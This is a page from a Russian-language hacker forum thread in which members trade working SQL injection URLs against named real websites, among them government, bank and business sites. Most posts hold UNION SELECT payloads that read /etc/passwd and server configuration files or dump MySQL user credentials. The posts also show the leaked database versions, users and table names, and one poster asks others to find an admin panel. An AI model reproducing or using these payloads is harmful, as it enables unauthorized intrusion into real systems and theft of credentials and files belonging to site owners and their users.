SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    754
    Likes Received:
    649
    Reputations:
    251
    Version: Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 1)

    И ещё какие то Microsoft JET Database:
    Нагуглил чо то про Jet Database, вот так примерно делать надо.
     
    #10861 Ctacok, 15 Oct 2009
    Last edited: 15 Oct 2009
    6 people like this.
  2. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    http://faganmedia.com/profile.php?id='+UNION+SELECT+1,2,3,4,5,load_file('/etc/passwd'),7,8,9--+

    http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/passwd'),user(),version(),6,7,concat(user,0x3a,password),9,10+from+mysql.user--
    http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/httpd/conf/httpd.conf'),4,5,6,7,8,9,10--
    http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/httpd/php.ini'),4,5,6,7,8,9,10--
    root@localhost, 5.0.37
     
    4 people like this.
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    736
    Likes Received:
    404
    Reputations:
    134
    хрум
     
    5 people like this.
  4. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    952
    Likes Received:
    785
    Reputations:
    591
    ТИЦ: 20
    PR: 4

    http://www.daedalic.de/index.php?modus=-news'+union+select+1,2,3,4,concat_Ws(0x3a,user(),database(),version()),6,7,8,9,10+--+&lang=en

    U281335@gosbar.store:DB281335:5.0.67-log
     
    _________________________
    3 people like this.
  5. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    152
    Likes Received:
    244
    Reputations:
    73
    Министерство транспорта Российской Федерации
    Code:
    Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) 
    Nov 24 2008 13:01:59 
    Copyright (c) 1988-2005 Microsoft Corporation
    Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
     
    7 people like this.
  6. Hack_ERR++

    Hack_ERR++ Member

    Joined:
    13 Aug 2009
    Messages:
    44
    Likes Received:
    9
    Reputations:
    0
    Code:
    http://www.findsubtitles.com/latest.php?page=-864+union+select+1,2,version(),4--
    5.0.81-community-log
     
  7. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    266
    Likes Received:
    150
    Reputations:
    28
    http://www.traubfuneralhome.com/display.php?id=1876+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

    Database Version: 5.0.45-community-nt
    Database name: traubdata
    User name: traubdata@localhost

    24 :In database traubdata found table users
    1 : user_id
    2 : user_name
    3 : user_password

    хто админку найдеть напишите в личку
     
    2 people like this.
  8. navigat0r

    navigat0r Member

    Joined:
    15 Mar 2009
    Messages:
    160
    Likes Received:
    54
    Reputations:
    -2
    http://love-gorod.com/index.php?anketa=58+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),2,3,4,5,6,7,8,9,10,11--
    Database Version: 5.0.67-community
    Database name: admin_love
    User name: admin_love@localhost

    http://www.office-direct.biz/news/id52+UNION+SELECT+1,version%28%29,3,4,5,6,7+LIMIT+1,1--
    Database Version: 5.0.45-log
    Database name: ofdir
    User name: ofdir@localhost
     
    #10868 navigat0r, 15 Oct 2009
    Last edited: 15 Oct 2009
    2 people like this.
  9. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    PostgreSQL 8.2.9 on x86_64-unknown-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21):conabweb:bd_conabweb
     
    2 people like this.
  10. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    Gameguru Mania
    root@localhost : box : 5.0.32-Debian_7etch8-log

    http://www.ggmania.com/cheatprint.php3?cheat=0+union+all+select+1,CONCAT_WS(0x203a20,user(),database(),version()),3,CONCAT_WS(0x203a20,user,password),5+from+mysql.user/*

    http://www.ggmania.com/cheatprint.php3?cheat=0+union+all+select+1,load_file(0x2F6574632F706173737764),3,4,5/*
     
  11. hack-win32

    hack-win32 Member

    Joined:
    11 Oct 2009
    Messages:
    31
    Likes Received:
    37
    Reputations:
    1
    redboss@localhost:mobilegamesdb_com:5.0.51a-24+lenny1-log
    Code:
    http://www.mobilegamesdb.com/game.php?id=-369+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7--
     
    #10871 hack-win32, 16 Oct 2009
    Last edited by a moderator: 16 Oct 2009
    2 people like this.
  12. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    123
    Likes Received:
    82
    Reputations:
    11
    Code:
    http://isic-lipetsk.ru/?com=cat&id=-19+union+select+concat_ws(char(58,58),user(),database(),%20version())--
    isiclipe@fe9.hc.ru::wwwisiclipetskru::4.1.25-log

    Code:
    http://www.ctyfc.co.uk/team.php?id=-8+union+select+concat_ws(char(58,58),user(),database(),version()),2,3/*  
    uk2camberlecouk22457_1@superultra6.uk2.net::uk2camberlecouk22457_1::4.0.24-log
     
    #10872 min7, 16 Oct 2009
    Last edited: 16 Oct 2009
    2 people like this.
  13. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    106
    Likes Received:
    153
    Reputations:
    24
    MTV.co.kr pr5
    MTV Корея :)
    Code:
    [COLOR=SlateGray]http://www.mtv.co.kr/tv/truemusiclive/content.php?pid=85+and+substring(version(),1,1)=5+--+[/COLOR]
    mysql: 5.0.51a-3ubuntu5.4-log
    database(): mtv4
    user(): mtvkor@www
     
    3 people like this.
  14. Swift

    Swift Banned

    Joined:
    27 Oct 2008
    Messages:
    78
    Likes Received:
    156
    Reputations:
    8
    Procredit bank

    http://www.procreditbank.ro/hr_job_details.php?id=31+and+substring(@@version,1,1)=5
     
    2 people like this.
  15. TELO

    TELO Member

    Joined:
    21 Jan 2009
    Messages:
    99
    Likes Received:
    44
    Reputations:
    6
    Официальный международный фан-клуб Русланы
    Code:
    http://fanclub.ruslana.ua/ru/national.php?country=-65%20union%20select%20username%20FROM%20admins
    Code:
    http://fanclub.ruslana.ua/ru/national.php?country=-65%20union%20select%20username%20FROM%20users
    Code:
    http://fanclub.ruslana.ua/myadmin/
    Версия 5.0.86
     
    4 people like this.
  16. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    123
    Likes Received:
    82
    Reputations:
    11
    66 полей, жесть
    Code:
    http://www.[COLOR=Olive]pxel.ru[/COLOR]/index.php?d=b&iduni=-15541+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--&from=ya  
    pxel@box.hc.ru::wwwpxelru::4.0.26
    тиц 60 пр 4
     
    4 people like this.
  17. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    241
    Likes Received:
    161
    Reputations:
    108
    springhousecaravanpark.co.uk PR-3

    Code:
    http://www.springhousecaravanpark.co.uk/detail.php?id=104+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7+--+
    Code:
    5.0.45:bluesky@server213-171-218-146.livedns.org.uk:blueskyresorts
    heathergate.co.uk PR-3

    Code:
    http://www.heathergate.co.uk/detail.php?id=132+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7+--+
    Code:
    5.0.45:bluesky@server213-171-218-146.livedns.org.uk:blueskyresorts
    eyecandy-promo.co.uk PR-2

    Code:
    http://www.eyecandy-promo.co.uk/page.php?p=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,version(),user(),database())+--+
    Смотрим в сорцах в теге body, параметр id

    Code:
    layout_5.0.77:ecdbadmin@server213-171-218-146.livedns.org.uk:icandydb
     
    3 people like this.
  18. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    152
    Likes Received:
    244
    Reputations:
    73
    Comision Federal de Mejora Regulatoria
    Code:
    Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
     
    5 people like this.
  19. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    4.1.12:admin@localhost
    http://www.dwarvenforge.com/store/product.php?productid=16387)+union+select+concat_ws(0x203a20,host,user,password,file_priv),2+from+mysql.user/*
    http://www.dwarvenforge.com/store/product.php?productid=16387)+union+select+load_file(0x2f6574632f706173737764),2/*

    web@cgi31-ch.uk.clara.net : 5.0.18-nt
    http://www.salmondevelopments.com/news.php?id=-999+union+all+select+1,unhex(hex(concat_ws(0x203a20,user(),version()))),3--
     
  20. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    123
    Likes Received:
    82
    Reputations:
    11
    Code:
    http://[COLOR=Green]bigchina.ru[/COLOR]/catalog/exhibitions/?cat=-311+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--  
    bigching_s@localhost::bigching_bigching::4.1.25-log
    тиц 50 пр 3
     
    1 person likes this.
Loading...
Thread Status:
Not open for further replies.